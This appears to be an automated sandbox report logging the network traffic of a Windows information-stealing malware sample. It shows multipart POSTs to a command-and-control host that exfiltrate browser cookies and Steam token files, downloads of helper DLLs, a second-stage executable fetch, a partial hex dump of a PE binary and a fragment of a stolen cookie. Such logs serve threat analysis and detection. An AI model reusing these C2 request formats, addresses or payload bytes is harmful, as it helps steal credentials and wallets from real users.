00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:56 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Sun, 30 Jun 2024 07:52:30 GMTETag: "81000-61c16c33a5f2a"Accept-Ranges: bytesContent-Length: 528384Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed bc 81 78 a9 dd ef 2b a9 dd ef 2b a9 dd ef 2b 7a af ec 2a b8 dd ef 2b 7a af ea 2a 00 dd ef 2b 7a af eb 2a bf dd ef 2b 6b 5c eb 2a bb dd ef 2b 6b 5c ec 2a bc dd ef 2b 7a af ee 2a ae dd ef 2b a9 dd ee 2b 28 dd ef 2b 6b 5c ea 2a fc dd ef 2b 5a 5f ea 2a a8 dd ef 2b 5a 5f ef 2a a8 dd ef 2b 5a 5f ed 2a a8 dd ef 2b 52 69 63 68 a9 dd ef 2b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b7 0e 81 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 40 02 00 00 dc 05 00 00 00 00 00 52 74 00 00 00 10 00 00 00 50 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 f5 02 00 50 00 00 00 10 f6 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 08 00 1c 1d 00 00 68 d8 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 d7 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 02 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 2e 02 00 00 10 00 00 00 30 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 73 53 00 00 00 00 1d 0e 00 00 00 40 02 00 00 10 00 00 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 ae 00 00 00 50 02 00 00 b0 00 00 00 44 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f4 0c 05 00 00 00 03 00 00 fe 04 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 1c 1d 00 00 00 10 08 00 00 1e 00 00 00 f2 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /g067n HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 36 35 43 42 34 46 39 34 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="hwid"7365CB4F94144293944220------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="build"default------CGIDAAAKJJDBGCBFCBGI--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="message"browsers------KFIJEGCBGIDGHIDHDGCB--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBFHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="message"plugins------HCAAEBKEGHJKEBFHJDBF--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJKHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="message"fplugins------EBGIDGCAFCBKECAAKJJK--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFHCAKJDBKKEBFIIJJEHost: 85.28.47.4Content-Length: 6755Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBFHost: 85.28.47.4Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3L
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 2d 2d 0d 0a Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file"------GIEHJKEBAAEBGCAAEBFH--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 2d 2d 0d 0a Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="file"------HCGDGIDGIJKKEBGDAECA--
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 85.28.47.4Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="message"wallets------KFBAECBAEGDGDHIEHIJJ--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDAHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="message"files------JEGHDAFIDGDAAKEBFHDA--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="file"------DGHDHIDGHIDGIECBKKJJ--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGDHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 64 66 35 35 65 36 30 39 32 62 64 64 38 62 37 37 62 34 34 61 37 38 37 30 63 39 66 36 65 62 36 32 37 61 38 63 39 39 37 63 30 37 30 35 32 65 35 37 31 62 36 34 34 37 39 30 61 63 32 38 31 64 37 30 66 31 37 36 64 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 2d 2d 0d 0a Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="token"a4df55e6092bdd8b77b44a7870c9f6eb627a8c997c07052e571b644790ac281d70f176dd------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="message"jbdtaijovg------FCAAEBFHJJDAAKFIECGD--
Source: global traffic HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
